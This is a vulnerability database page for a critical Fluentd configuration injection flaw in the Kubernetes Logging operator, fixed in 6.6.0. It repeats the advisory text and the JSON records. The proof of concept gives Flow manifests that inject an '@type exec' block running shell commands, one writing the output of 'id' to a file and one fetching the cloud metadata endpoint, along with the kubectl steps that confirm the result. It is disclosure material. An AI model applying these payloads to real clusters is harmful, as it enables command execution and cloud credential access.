Vulnerability-Lookup

GHSA-MJQF-28PH-426H

Vulnerability from github – Published: 2026-07-29 17:01 – Updated: 2026-07-29 17:01

Summary

Logging operator has Fluentd configuration injection that allows remote code execution

Details

Summary

The Fluentd configuration renderer in Logging operator writes strings from CRDs such as Flow directly into fluent.conf without escaping them. As a result, a user who can create Flow resources can inject Fluentd configuration by providing values that contain newlines.

In the confirmed path, a value in record_transformer.records can close the current <record> / <filter> block and add a new <match **> block. By specifying Fluentd's core @type exec plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.

Details

The issue is in FluentRender in pkg/sdk/logging/model/render/fluent.go.

https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87

Each parameter is rendered as key value, but values are not quoted, and newlines or characters such as < and > are not rejected. In addition, indentedf builds the string with fmt.Sprintf and then splits it on \n, so newlines inside CRD values become new lines in the generated Fluentd configuration.

One input source is record_transformer.records. ToDirective passes Record (map[string]string) into Params without validation or escaping.

https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103

The config check in pkg/resources/fluentd/appconfigmap.go runs fluentd -c ... --dry-run, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. @type exec is a core Fluentd plugin and is available in the official Fluentd image.

PoC

The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create Flow and Output resources in a watched namespace, for example tenant-a.

First, create a minimal Output as the log destination.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
  name: sink
  namespace: tenant-a
spec:
  nullout: {}

Next, create a Flow whose record_transformer.records value contains an injected @type exec block.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
  name: exfil
  namespace: tenant-a
spec:
  match:
    - select: {}
  filters:
    - record_transformer:
        records:
          - x: |-
              y
              </record>
              </filter>
              <match **>
                @type exec
                command /bin/sh -c "id > /tmp/pwned"
                <format>
                  @type json
                </format>
                <buffer>
                  flush_interval 1s
                </buffer>
              </match>
              <filter dummy.**>
                @type record_transformer
                <record>
                  absorbed y
  localOutputRefs:
    - sink

After applying the manifests, the Fluentd configuration Secret generated by the operator contains @type exec.

kubectl apply -f output.yaml -f flow.yaml

kubectl -n <control-namespace> get secret <logging>-fluentd-app \
  -o go-template='{{ index .data "fluentd.conf" }}' \
  | base64 -d | grep -A8 '@type exec'

When any Pod in tenant-a emits logs, those logs flow into the injected <match **> block. When out_exec flushes its buffer, the command is executed and can be confirmed as follows.

kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned
# expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)

Impact

This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator. Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create Flow / Output resources in one namespace can execute arbitrary commands inside the shared aggregator.

In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following Flow example uses IMDSv1 only to make reachability easy to demonstrate.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
  name: imds-poc
  namespace: tenant-a
spec:
  match:
    - select: {}
  filters:
    - record_transformer:
        records:
          - x: |-
              y
              </record>
              </filter>
              <match **>
                @type exec
                command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc"
                <format>
                  @type json
                </format>
                <buffer>
                  flush_interval 1s
                </buffer>
              </match>
              <filter dummy.**>
                @type record_transformer
                <record>
                  absorbed y
  localOutputRefs:
    - sink

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kube-logging/logging-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260608145523-cf437d7f1e05"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54680"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T17:01:29Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines.\n\nIn the confirmed path, a value in `record_transformer.records` can close the current `\u003crecord\u003e` / `\u003cfilter\u003e` block and add a new `\u003cmatch **\u003e` block. By specifying Fluentd\u0027s core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.\n\n### Details\n\nThe issue is in `FluentRender` in `pkg/sdk/logging/model/render/fluent.go`.\n\nhttps://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87\n\nEach parameter is rendered as `key value`, but values are not quoted, and newlines or characters such as `\u003c` and `\u003e` are not rejected. In addition, `indentedf` builds the string with `fmt.Sprintf` and then splits it on `\\n`, so newlines inside CRD values become new lines in the generated Fluentd configuration.\n\nOne input source is `record_transformer.records`. `ToDirective` passes `Record` (`map[string]string`) into `Params` without validation or escaping.\n\nhttps://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103\n\nThe config check in `pkg/resources/fluentd/appconfigmap.go` runs `fluentd -c ... --dry-run`, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. `@type exec` is a core Fluentd plugin and is available in the official Fluentd image.\n\n### PoC\n\nThe prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create `Flow` and `Output` resources in a watched namespace, for example `tenant-a`.\n\nFirst, create a minimal `Output` as the log destination.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Output\nmetadata:\n  name: sink\n  namespace: tenant-a\nspec:\n  nullout: {}\n```\n\nNext, create a `Flow` whose `record_transformer.records` value contains an injected `@type exec` block.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Flow\nmetadata:\n  name: exfil\n  namespace: tenant-a\nspec:\n  match:\n    - select: {}\n  filters:\n    - record_transformer:\n        records:\n          - x: |-\n              y\n              \u003c/record\u003e\n              \u003c/filter\u003e\n              \u003cmatch **\u003e\n                @type exec\n                command /bin/sh -c \"id \u003e /tmp/pwned\"\n                \u003cformat\u003e\n                  @type json\n                \u003c/format\u003e\n                \u003cbuffer\u003e\n                  flush_interval 1s\n                \u003c/buffer\u003e\n              \u003c/match\u003e\n              \u003cfilter dummy.**\u003e\n                @type record_transformer\n                \u003crecord\u003e\n                  absorbed y\n  localOutputRefs:\n    - sink\n```\n\nAfter applying the manifests, the Fluentd configuration Secret generated by the operator contains `@type exec`.\n\n```sh\nkubectl apply -f output.yaml -f flow.yaml\n\nkubectl -n \u003ccontrol-namespace\u003e get secret \u003clogging\u003e-fluentd-app \\\n  -o go-template=\u0027{{ index .data \"fluentd.conf\" }}\u0027 \\\n  | base64 -d | grep -A8 \u0027@type exec\u0027\n```\n\nWhen any Pod in `tenant-a` emits logs, those logs flow into the injected `\u003cmatch **\u003e` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows.\n\n```sh\nkubectl -n \u003ccontrol-namespace\u003e exec \u003cfluentd-aggregator-pod\u003e -- cat /tmp/pwned\n# expected:\nuid=100(fluent) gid=101(fluent) groups=101(fluent)\n```\n\n### Impact\n\nThis is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.\nBecause the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create `Flow` / `Output` resources in one namespace can execute arbitrary commands inside the shared aggregator.\n\nIn environments such as AWS EKS, the Fluentd Pod may be able to reach the node\u0027s Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following `Flow` example uses IMDSv1 only to make reachability easy to demonstrate.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Flow\nmetadata:\n  name: imds-poc\n  namespace: tenant-a\nspec:\n  match:\n    - select: {}\n  filters:\n    - record_transformer:\n        records:\n          - x: |-\n              y\n              \u003c/record\u003e\n              \u003c/filter\u003e\n              \u003cmatch **\u003e\n                @type exec\n                command /bin/sh -c \"curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc\"\n                \u003cformat\u003e\n                  @type json\n                \u003c/format\u003e\n                \u003cbuffer\u003e\n                  flush_interval 1s\n                \u003c/buffer\u003e\n              \u003c/match\u003e\n              \u003cfilter dummy.**\u003e\n                @type record_transformer\n                \u003crecord\u003e\n                  absorbed y\n  localOutputRefs:\n    - sink\n```",
  "id": "GHSA-mjqf-28ph-426h",
  "modified": "2026-07-29T17:01:29Z",
  "published": "2026-07-29T17:01:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kube-logging/logging-operator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kube-logging/logging-operator/releases/tag/6.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Logging operator has Fluentd configuration injection that allows remote code execution"
}

CVE-2026-54680 (GCVE-0-2026-54680)

Vulnerability from cvelistv5 – Published: 2026-07-29 16:57 – Updated: 2026-07-30 13:56

Title

Logging operator has Fluentd configuration injection that allows remote code execution

Summary

Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.

Severity

9.9 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/kube-logging/logging-operator/…	x_refsource_CONFIRM
https://github.com/kube-logging/logging-operator/…	x_refsource_MISC
https://github.com/kube-logging/logging-operator/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
kube-logging	logging-operator	Affected: < 6.6.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54680",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-30T13:55:09.051843Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-30T13:56:07.649Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "logging-operator",
          "vendor": "kube-logging",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 6.6.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd \u003cmatch **\u003e block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.9,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-74",
              "description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-77",
              "description": "CWE-77: Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-29T16:57:16.913Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h"
        },
        {
          "name": "https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425"
        },
        {
          "name": "https://github.com/kube-logging/logging-operator/releases/tag/6.6.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/kube-logging/logging-operator/releases/tag/6.6.0"
        }
      ],
      "source": {
        "advisory": "GHSA-mjqf-28ph-426h",
        "discovery": "UNKNOWN"
      },
      "title": "Logging operator has Fluentd configuration injection that allows remote code execution"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54680",
    "datePublished": "2026-07-29T16:57:16.913Z",
    "dateReserved": "2026-06-15T22:53:58.561Z",
    "dateUpdated": "2026-07-30T13:56:07.649Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-MJQF-28PH-426H

Summary

Details

PoC

Impact

CVE-2026-54680 (GCVE-0-2026-54680)

Tags

Sightings

Nomenclature